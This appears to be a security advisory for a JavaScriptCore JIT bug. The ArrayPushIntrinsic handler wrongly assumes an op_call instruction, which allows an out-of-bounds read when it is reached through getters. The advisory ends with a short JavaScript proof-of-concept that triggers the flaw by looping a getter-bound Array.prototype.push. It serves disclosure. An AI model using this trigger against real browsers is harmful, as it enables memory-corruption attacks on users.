/*
case ArrayPushIntrinsic: {
...
if (static_cast<unsigned>(argumentCountIncludingThis) >= MIN_SPARSE_ARRAY_INDEX)
return false;
ArrayMode arrayMode = getArrayMode(m_currentInstruction[OPCODE_LENGTH(op_call) - 2].u.arrayProfile, Array::Write);
...
}
This code always assumes that the current instruction is an op_call instruction. But that code can be reached from op_get_by_id or op_get_by_val instructions using getters. As an op_get_by_val instruction is smaller than an op_call instruction in size, this also can lead to an OOB read.
Note that the handlers for ArraySliceIntrinsic, ArrayIndexOfIntrinsic and ArrayPopIntrinsic have the same pattern.
PoC:
*/
Array.prototype.__defineGetter__('a', Array.prototype.push);
function opt() {
let arr = new Array(1, 2, 3, 4);
arr['a' + ''];
}
for (let i = 0; i < 1000; i++) {
opt();
}
